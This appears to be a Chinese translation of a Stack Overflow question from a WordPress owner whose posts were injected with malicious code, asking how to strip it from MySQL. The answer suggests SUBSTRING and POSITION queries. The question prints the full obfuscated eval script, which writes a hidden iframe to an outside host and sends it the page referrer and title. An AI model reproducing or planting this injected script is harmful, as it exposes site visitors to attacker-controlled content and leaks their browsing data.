php - 替换MySQL中的复杂字符串

标签 php mysql sql wordpress

一些脚本小子入侵了我的 wordpress 网站并将这段代码插入到 wp_posts 中的每个 post_content 中:

<!--844c7b74e31d727d5814a0ed667c0255--><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\'b\');2 6=7.c(7.e()*f);2 0=\'g://h.i/j/k?\';0=0+\'l=\'+3.m;0=0+\'&n=\'+3.o;0=0+\'&r=\'+6;d.p(\'<8 q="s:u;v:w" 0="\'+0+\'" x="\'+4+\'" y="\'+5+\'"></8>\')})();',35,35,'src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height'.split('|'),0,{}))</script>

我想在 phpmyadmin 中通过 SQL 查询 (UPDATE xxx SET replace(...)) 删除它,但我没有转义字符串。

是否有任何方法/工具可以正确转义此代码并将其从表中删除?谢谢

最佳答案

如果数据相同,并且在帖子的开头或结尾,您可以使用 substring 函数从这些垃圾中挑选出您的数据

update table_name set column_name = SUBSTRING(column_name,garbage_length) where 1;

有关更多信息,请参阅手册 http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_substring

可以使用position函数来指出垃圾的起点。 http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_position

关于php - 替换MySQL中的复杂字符串,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/41139078/

相关文章:

php - 包含数据库中值的下拉菜单

php - 如何在不知道表单内控件名称的情况下获取表单中的 GET/POST 元素

php - 如果这个页面显示这个 其他显示这个

MySQL Connector - LINQ to Entities 无法识别该方法

sql - 获取对其他列具有不同值的列的组合值

php - MySQL 中的 UNION 查询

mysql - 适合组织/地点/部门/用户的最佳数据库结构?

php - 如何减少循环时间

c# - SQL查询选择谜题

SQL:将时间间隔分割为一小时的交集